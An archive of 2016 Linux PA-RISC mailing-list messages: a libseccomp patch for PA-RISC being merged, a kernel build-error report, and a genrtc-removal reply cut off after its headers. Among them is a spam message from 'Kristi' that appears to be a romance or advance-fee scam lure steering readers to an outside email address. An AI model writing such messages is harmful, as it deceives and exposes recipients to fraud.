X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Moore <paul@paul-moore.com>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: Re: [PATCH] libseccomp: Add parisc architecture
 support (v4)
Date: Wed, 25 May 2016 15:49:04 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <CAHC9VhSKEhKgjMMqUyFr0CXTer-iNXsETb9A8TDqjspjy+Nxtw@mail.gmail.com>
References: <20160213200731.GA18161@ls3530.box>
	<3673666.V2ZqGazvLY@sifl>
	<56C24911.8000200@gmx.de>
	<1907254.cBdVSxntFv@sifl>
	<20160409070549.GA5442@ls3530.box>
	<CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
	<571103AD.20500@gmx.de>
	<20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
	<57251ABF.4080201@gmx.de>
	<CAGH-Kgt=P7wkmBShe5bQ2b=mjQsGAPFfB9fEMxRFT6GTZyu32w@mail.gmail.com>
	<20160525145339.GA3391@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464205758 8836 80.91.229.3 (25 May 2016 19:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 May 2016 19:49:18 +0000 (UTC)
Cc: Paul Moore <pmoore@redhat.com>, linux-parisc@vger.kernel.org, 
	libseccomp@googlegroups.com
To: Helge Deller <deller@gmx.de>
Original-X-From: libseccomp+bncBD4NPLXYE4ILDA4YXICRUBC6WVUBE@googlegroups.com Wed May 25 21:49:08 2016
Return-path: <libseccomp+bncBD4NPLXYE4ILDA4YXICRUBC6WVUBE@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-ig0-f191.google.com ([209.85.213.191])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBD4NPLXYE4ILDA4YXICRUBC6WVUBE@googlegroups.com>)
	id 1b5eni-0003DL-PC
	for gcllg-libseccomp-discuss-2@m.gmane.org; Wed, 25 May 2016 21:49:06 +0200
Original-Received: by mail-ig0-f191.google.com with SMTP id sq19sf13376580igc.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Wed, 25 May 2016 12:49:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:in-reply-to:references:date:message-id:subject
         :from:to:cc:x-original-sender:x-original-authentication-results
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=pp5v6U326AqUOu5+/c9VXGuypx5c601wzPrBe3QQK0g=;
        b=VFxLpAoSEvQUpSMJotYFF4HH5R6S3Wp4SNQDanpbfSbsPGlkzTsCWZws0c5oalmUU8
         BvzcOfTNOeMrk7B5rq2ZFHsCUZlRczW5g6JKFW1ETIsgnfMU2I5ps83nKLDrze62SmnW
         5a/t97/fNwly1BVxPaynbHlYUUxsUN/PjFJLfTnZW/3fObfxhDI6zWuHf8elacEivu6c
         YnAopiqLXuKz1B6duiYBq8zNGrLg9vAM6DO17DgW3YDtVykUobtaOri8EWgqbeUgDP6P
         yNSNolGZ+ka1of1KQZI+HWcdSyaxOhRehDOuFSq8ZiFJnzWf1PmlOZs7OziHBJTSdYNr
         yaaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=pp5v6U326AqUOu5+/c9VXGuypx5c601wzPrBe3QQK0g=;
        b=FvlFd/kj+oTpM4zXAS7iuPrLaiIa77al/JwwDUv4Ikdo7yFHoAasYrNf++fG+Fi7j7
         j5dJ7PE7zFiTn1Uhq0INAhAe2uryGWhMrEibOmwwblPqZJNXO0U6FirkDdEO7GC8wpyL
         g5Y53+MvFAt1EcxB3shDKs9GiqGAys69rMIQcnZLzetcyvZvGF6liySVsgWllMIsGV21
         lC2NAXdyw+DsHXQT3K/3Luht62tB6oTrlsxZZDFd2PEElAnTh5ONMdAcDIDq6j+C2Biq
         hTNhr/8D/vkYAZVVKGowjL3ma5HPkKGQ9Je5zh7yKHSzC4rcx/oQueYFIR2bh+qhG6J8
         qEYg==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: ALyK8tKJZ7NeJZuLvPNt0aWoVxLPz2N0fJKCARZE8fSMBuAkPwKqxdb3k0KXhjqo2gIcqw==
X-Received: by 10.140.42.182 with SMTP id c51mr298834qga.7.1464205745910;
        Wed, 25 May 2016 12:49:05 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.140.35.203 with SMTP id n69ls1485567qgn.59.gmail; Wed, 25 May
 2016 12:49:05 -0700 (PDT)
X-Received: by 10.140.156.85 with SMTP id c82mr3504091qhc.8.1464205745712;
        Wed, 25 May 2016 12:49:05 -0700 (PDT)
Original-Received: from mail-oi0-x244.google.com (mail-oi0-x244.google.com. [2607:f8b0:4003:c06::244])
        by gmr-mx.google.com with ESMTPS id v62si419966itf.3.2016.05.25.12.49.05
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 25 May 2016 12:49:05 -0700 (PDT)
Received-SPF: neutral (google.com: 2607:f8b0:4003:c06::244 is neither permitted nor denied by best guess record for domain of paul@paul-moore.com) client-ip=2607:f8b0:4003:c06::244;
Original-Received: by mail-oi0-x244.google.com with SMTP id x130so14194331oia.3
        for <libseccomp@googlegroups.com>; Wed, 25 May 2016 12:49:05 -0700 (PDT)
X-Received: by 10.157.11.28 with SMTP id a28mr3243893ota.128.1464205745050;
 Wed, 25 May 2016 12:49:05 -0700 (PDT)
Original-Received: by 10.202.106.79 with HTTP; Wed, 25 May 2016 12:49:04 -0700 (PDT)
X-Originating-IP: [108.49.39.189]
In-Reply-To: <20160525145339.GA3391@ls3530.dhcp.wdf.sap.corp>
X-Original-Sender: paul@paul-moore.com
X-Original-Authentication-Results: gmr-mx.google.com;       dkim=pass
 header.i=@paul-moore-com.20150623.gappssmtp.com;       spf=neutral
 (google.com: 2607:f8b0:4003:c06::244 is neither permitted nor denied by best
 guess record for domain of paul@paul-moore.com) smtp.mailfrom=paul@paul-moore.com
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1368 gmane.linux.ports.parisc:26785
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1368>

On Wed, May 25, 2016 at 10:53 AM, Helge Deller <deller@gmx.de> wrote:
> * Paul Moore <pmoore@redhat.com>:
>> On Sat, Apr 30, 2016 at 4:51 PM, Helge Deller <deller@gmx.de> wrote:
>> > On 15.04.2016 17:11, Helge Deller wrote:
>> >> This patch (v3) adds support for the parisc and parisc64 architectures
>> >> to libseccomp.
>> >
>> > Linux kernel 4.5.2-1 with full seccomp support for parisc/hppa is
>> > now publically available in debian:
>> > https://buildd.debian.org/status/package.php?p=linux&suite=sid
>> >
>> > Any chance to get this patch (v3) applied to the libseccomp git tree now ?
>>
>> Hi Helge,
>>
>> I apologize for the delay, but I finally got around to merging your
>> code and noticed a problem: you're missing the parisc enablement code
>> in src/arch-syscall-check.c which has hidden a number of issues with
>> the parsic{64} syscall table (run 'make check').  Could you add the
>> missing code to arch-syscall-check.c and update the syscall table?
>
> Indeed. I missed that.
> Below is the updated patch (v4) which addresses this issue.
>
> It survived all "make check" tests on x64_64 and parisc, as well as the
> live regression tests on parisc.
>
> Thanks,
> Helge
>
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
>
> This patch (v4) adds support for the parisc and parisc64 architectures
> to libseccomp.
>
> I didn't split up the patch, because it's pretty trivial.
> Those parisc-specific files gets added:
>  src/arch-parisc-syscalls.c
>  src/arch-parisc.c
>  src/arch-parisc.h
>  src/arch-parisc64.c
>
> All other changes are trivial because they simply add parisc-specific
> case statements in variouse switch statements.
>
> I did ran a "make check" on x86-64 and parisc and all testcases succeeded.
> All live testcases succeed as well when running "./regression -T live".
>
> The patch applies cleanly to current libseccomp git head.
>
> Changes between v4 and v3 of this patch:
> - Added parisc arch to arch-syscall-check.c and fixup syscall table as
>   needed
> - Fixed copyright notices in parisc files as suggested by Mike Frysinger
>
> Changes between v3 and v2 of this patch:
> - Stripped out patch which reports if a check was skipped because
>   valgrind isn't installed.
> - Added tuxcall pseudo syscall for 19-sim-missing_syscalls testcase
> - Added sysmips pseudo syscall for 29-sim-pseudo_syscall testcase
>
> Changes between v2 and v1 of this patch:
> - Enabled seccomp mode 2 regression tests on parisc. Kernel support for
>   hppa was added in kernel 4.6-rc1 and backported into the kernel v4.5.2
>   stable series.
>
> Thanks,
> Helge
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
>
>
> diffstat:
>  include/seccomp.h.in              |    6
>  src/Makefile.am                   |    2
>  src/arch-parisc-syscalls.c        |  499 ++++++++++++++++++++++++++++++++++++++
>  src/arch-parisc.c                 |   22 +
>  src/arch-parisc.h                 |   38 ++
>  src/arch-parisc64.c               |   22 +
>  src/arch-syscall-check.c          |   11
>  src/arch-syscall-dump.c           |    5
>  src/arch.c                        |   13
>  src/gen_pfc.c                     |    4
>  src/python/libseccomp.pxd         |    2
>  src/python/seccomp.pyx            |    8
>  tests/26-sim-arch_all_be_basic.c  |    6
>  tests/26-sim-arch_all_be_basic.py |    2
>  tests/regression                  |    3
>  tools/scmp_arch_detect.c          |    6
>  tools/scmp_bpf_sim.c              |    4
>  tools/util.c                      |    4
>  18 files changed, 656 insertions(+), 1 deletion(-)

I had to fix-up a few formatting errors found by 'make check-syntax',
but it looks reasonable to me, I'm merging it now and it should be
part of the v2.4 release.

Thanks for your help!

-- 
paul moore
www.paul-moore.com

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.18.34 build error:
Date: Sat, 28 May 2016 15:02:06 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <F5B3A7D1-FFBF-4A41-8B68-7B19BBD17562@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1464462141 19255 80.91.229.3 (28 May 2016 19:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 May 2016 19:02:21 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 28 21:02:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b6jUx-0003Sj-Oq
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 May 2016 21:02:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750754AbcE1TCJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 May 2016 15:02:09 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:36105 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750742AbcE1TCI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 May 2016 15:02:08 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160528190207.WKM1443.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 28 May 2016 15:02:07 -0400
Original-Received: from [192.168.2.10] (really [70.55.27.210]) by mtlspm02.bell.net
          with ESMTP
          id <20160528190206.RGUQ21492.mtlspm02.bell.net@[192.168.2.10]>;
          Sat, 28 May 2016 15:02:06 -0400
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.5749EB2F.0017,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26786
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26786>

The following compile error is present in 2.18.34:

arch/parisc/kernel/ptrace.c: In function 'do_syscall_trace_enter':
arch/parisc/kernel/ptrace.c:273:2: error: implicit declaration of function 'secure_computing_strict' [-Werror=implicit-function-declaration]
  secure_computing_strict(regs->gr[20]);
  ^

It's probably present in earlier versions but was hidden by the ptrace patch which is now installed in 2.18.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: program9@uscombat.info
Newsgroups: gmane.linux.ports.parisc
Subject: Hello
Date: Sun, 29 May 2016 00:42:58 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <947527.21009.bm__34497.7516135716$1464483022$gmane$org@smtp210.mail.gq1.yahoo.com>
Reply-To: cplkristibakar@outlook.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1464483022 10663 80.91.229.3 (29 May 2016 00:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 May 2016 00:50:22 +0000 (UTC)
To: Recipients <program9@uscombat.info>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 29 02:50:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b6ovg-0007O5-7Q
	for glpp-linux-parisc@plane.gmane.org; Sun, 29 May 2016 02:50:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751937AbcE2AuA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 May 2016 20:50:00 -0400
Original-Received: from nm29-vm5.bullet.mail.gq1.yahoo.com ([98.136.216.180]:43383 "EHLO
	nm29-vm5.bullet.mail.gq1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751781AbcE2Atx convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 May 2016 20:49:53 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1464482665; bh=Gvw7c6sxgg84HpE28cj54ULYqFRRrP1QfHJSoV3C/RA=; h=Subject:To:From:Date:Reply-To:From:Subject; b=Mtt0iwDQc3qc0Hpu3H9SiQF9rPyWJ9p21tBHvaY6hAnxTqdoBrw7CF9T+8dKQQnZUddB43NC6N1n61ySkErx0dMBt5BZ2VaxwWQbKAqs6+Yb+dIyNteWtxc4vtEh9GqYFQSexvMrvsWKYeAA16zk+ct/NEA1OfqyZUwq8EiwXkhA29pMwtUYN27kaPnoF36xLzeJfjdw39IywdMsZf7nCU2tnaMIQva0sLjcdXlRaEK01LUdfYTti5SAlLhkLPcBPDCQuPmJn91B839XoMwaMLh2K5QBZN1w9pabDraDE6WNDtNUY9nCkSdcDamjWxnKYlpGoPpWs1WSKv+kXZZfLw==
Original-Received: from [98.137.12.60] by nm29.bullet.mail.gq1.yahoo.com with NNFMP; 29 May 2016 00:44:25 -0000
Original-Received: from [208.71.42.199] by tm5.bullet.mail.gq1.yahoo.com with NNFMP; 29 May 2016 00:44:24 -0000
Original-Received: from [127.0.0.1] by smtp210.mail.gq1.yahoo.com with NNFMP; 29 May 2016 00:44:24 -0000
X-Yahoo-Newman-Id: 947527.21009.bm@smtp210.mail.gq1.yahoo.com
X-Yahoo-Newman-Property: ymail-3
X-YMail-OSG: TFIBn60VM1lM7ibbK3CnaQkg.dYnPC1KunDFtc0ZGqvWhd7
 7RGPSgubVJEi_WUSr92pkmeqRzasD6W1xO8VbhpoFb_bQafkOfGXizqmtHLf
 _CIYAB1TuGie3wnxAgH7ulwh1Y_6ZAfFZE4pdgeS0WFXyVFq8NR0Zy5E.ZTJ
 3APVsI2N9iig5A5lClQRgsgLAgp9doxdW.x8mYbDWjojt_rr5n_e_o_12cKf
 EUIfrrupB.X_2Gv1iRbfXdvWKtNpF213W6pY4SVB3JAMKmVbGZepY2vhdR5q
 FtUGOcOqjvBPkM30c_zLD.oiexgQ5pL9Nd7x3mlQTNYk8SSOx1hHLlZKnF9B
 g4aO_V.hjvhpnc3EnDkx_zTHiLLN3bOI76rMLFJm_8iNGumcTYzgPtgcWZQz
 4SPa5gQeFNKhMASEveVONSo09bCm9w.CHs80f2wvH9D.CMB5RFJF6VQiwsqN
 rNf8AhFzJLJfHuFvWBxAKohhaYdnxp1fTFiAk5sj1SBF.d3b8zi21jYPYbg7
 InrIqPlPDvHdW.n6VFU6sl4SuCG1cQRw7TaCtPHzFjUG6rS2.12luz11V9Uu
 rXjKNFmNQehmTTWNfLInGdSXJ58q58ExEtZXCe_mwF2HkWfszn1cnJzMshCV
 s0YBA
X-Yahoo-SMTP: PvEx9gWswBD9hsPIhm76ywuXWBTWU3MFFkiQ
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26787>

Hi,
I am Kristi and i saw your contact through google page of your country which impress me and i feel we can be friends to share ideals and reason together for good,if not bad then let us know more about each other and i hope there will be no problem for us to be friend with no bad intention.You can also reply me through email(cplkristibakar@outlook.com) so that i can share details about myself, i will be waiting to hear from you soon. 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 00/16] genrtc removal
Date: Mon, 30 May 2016 01:37:28 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20160529233728.GP3451@piout.net>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
 <20160503072418.GA2335@piout.net>
 <3351574.jQ0612lD2O@wuerfel>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464565059 9713 80.91.229.3 (29 May 2016 23:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 May 2016 23:37:39 +0000 (UTC)
Cc: geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org, benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org, dalias-8zAoT0mYgF4@public.gmane.org, dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: rtc-linux+bncBDS7HNEFSALRBOP2VW5AKGQEMR5NR2A-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 01:37:30 2016
Return-path: <rtc-linux+bncBDS7HNEFSALRBOP2VW5AKGQEMR5NR2A-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f188.google.com ([209.85.217.188])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDS7HNEFSALRBOP2VW5AKGQEMR5NR2A-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7AGw-0007fH-FW
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 01:37:30 +0200
Original-Received: by mail-lb0-f188.google.com with SMTP id rs7sf5118704lbb.1
        for <gldr-rtc-linux@m.gmane.org>; Sun, 29 May 2016 16:37:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=NC22cTNT3n3Ho/qI3wGAgJ2vC6eExqpHX1kXrrUO+eY=;
        b=JXe/Kct4uFwjPrXYizYCw8TelHwWzQUfp88sM0i/CywU4p3IRJhCkKIzWwYwi2f/CP
         7o1uXYvzUDnCrSGaVAsSRu6xk01IV0XfzhczmuuEj3qmQoqSff1ehlYLv3zSDydvCPBn
         v4PEnI4qnHqoM0UMs5X2ZFDbl+jb/dnbLMHnkZ9yzSAiaTrzuTF5iy0jG3K7uPcLbsFP
         D7DzjQ1AbluLTvokvDSDBJdkX7mpejlq6PBl6YbFshOsg1Bt1ad73ILriJeEU+HCL1dm
         lU7XZ7/IfOEGO5f0PIGc0DcP0TWQaj6ozlp4+3wa595xqjgnTRZxrGQV1sEjhaEQU1iB
         iYGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:reply-to
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=NC22cTNT3n3Ho/qI3wGAgJ2vC6eExqpHX1kXrrUO+eY=;
        b=cRxAGf8SDyMrYhRhQDdh0fTVzBrKZmOzcN9JKPwmvS0XJsEbGzucJtWYi/Z3SPVT+m
         71URNLVscmSLNiBcl6sbw8MoGntd8vb+Mj6zfy9D1VXK2dJ9Toyc0gT0hRKQzty084WW
         hNrUknZR4pYvOEfxNauMxHWvknsfqBgIO1MQdvDzqw1QA6KF6/8jOMZ0NxRmWk2Jy4xB
         DELMVK9SI0beTdTxoO/Va+zv4nrmj9BIBEolY9nrNbI7h88J1048jgI5v9teJujk/cUI
         CndXyI7Lz4BLy38XLV6QRhhpuKML/fT/LmaUedtoc5MqxGlmsweRUZwZM3VG5300jf 
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tKVOwiAe/JWidMeIUitbt34wcJceVImu0WJZCJ88weK2LYMf8w7v5G0BBwVrfoc+g==
X-Received: by 10.46.1.170 with SMTP id f42mr90223lji.7.1464565050173;
        Sun, 29 May 2016 16:37:30 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.46.71.203 with SMTP id u194ls162002lja.37.gmail; Sun, 29 May
 2016 16:37:29 -0700 (PDT)
X-Received: by 10.112.181.101 with SMTP id dv5mr2410384lbc.1.1464565049353;
        Sun, 29 May 2016 16:37:29 -0700 (PDT)
Original-Received: from mail.free-electrons.com (down.free-electrons.com. [37.187.137.238])
        by gmr-mx.google.com with ESMTP id l68si1023093wmd.3.2016.05.29.16.37.29
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>;
        Sun, 29 May 2016 16:37:29 -0700 (PDT)
Received-SPF: pass (google.com: domain of alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org designates 37.187.137.238 as permitted sender) client-ip=37.187.137.238;
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 1730622B; Mon, 30 May 2016 01:37:29 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [88.191.26.124])
	by mail.free-electrons.com (Postfix) with ESMTPSA id DADC91B9;
	Mon, 30 May 2016 01:37:28 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3351574.jQ0612lD2O@wuerfel>
User-Agent: Mutt/1.6.0 (2016-04-01)
X-Original-Sender: alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org designates
 37.187.137.238 as permitted sender) smtp.mailfrom=alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:22 gmane.linux.ports.alpha:3734 gmane.linux.kernel:2229630 gmane.linux.ports.parisc:26788 gmane.linux.ports.ppc64.devel:127746 gmane.linux.ports.sh.devel:54120 gmane.linux.kernel.cross-arch:32146
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/22>

Hi,

On 03/05/2016 at 12:05:34 +0200, Arnd Bergmann wrote :
